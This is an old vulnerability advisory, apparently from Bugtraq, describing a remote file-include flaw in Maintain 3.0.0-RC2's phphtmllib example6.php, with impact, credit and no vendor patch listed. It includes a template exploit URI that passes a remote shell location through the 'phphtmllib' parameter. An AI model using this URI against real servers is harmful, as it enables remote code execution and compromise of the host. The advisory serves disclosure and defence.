Maintain Example6.PHP Remote File Include Vulnerability

Bugtraq ID:	20560
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 16 2006 12:00AM
Updated:	Oct 17 2006 05:24PM
Credit:	ERNE & The_Bekir are credited with the discovery of this vulnerability.
Vulnerable:	maintain maintain 3.0.0-RC2
Not Vulnerable:

Maintain Example6.PHP Remote File Include Vulnerability

Maintain is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Maintain version 3.0.0 RC2 is affected.

Maintain Example6.PHP Remote File Include Vulnerability

Attackers can exploit this issue via a web client.

The following example URI is available:

http://www.example.com/[path]/lib/php/phphtmllib-2.5.4/examples/example6.php?phphtmllib=[shell]

Maintain Example6.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

Maintain Example6.PHP Remote File Include Vulnerability

References:

• maintain Web Site (maintain)
  
• maintain-3.0.0-RC2 - Remote File Include Vulnerabilities ([email protected])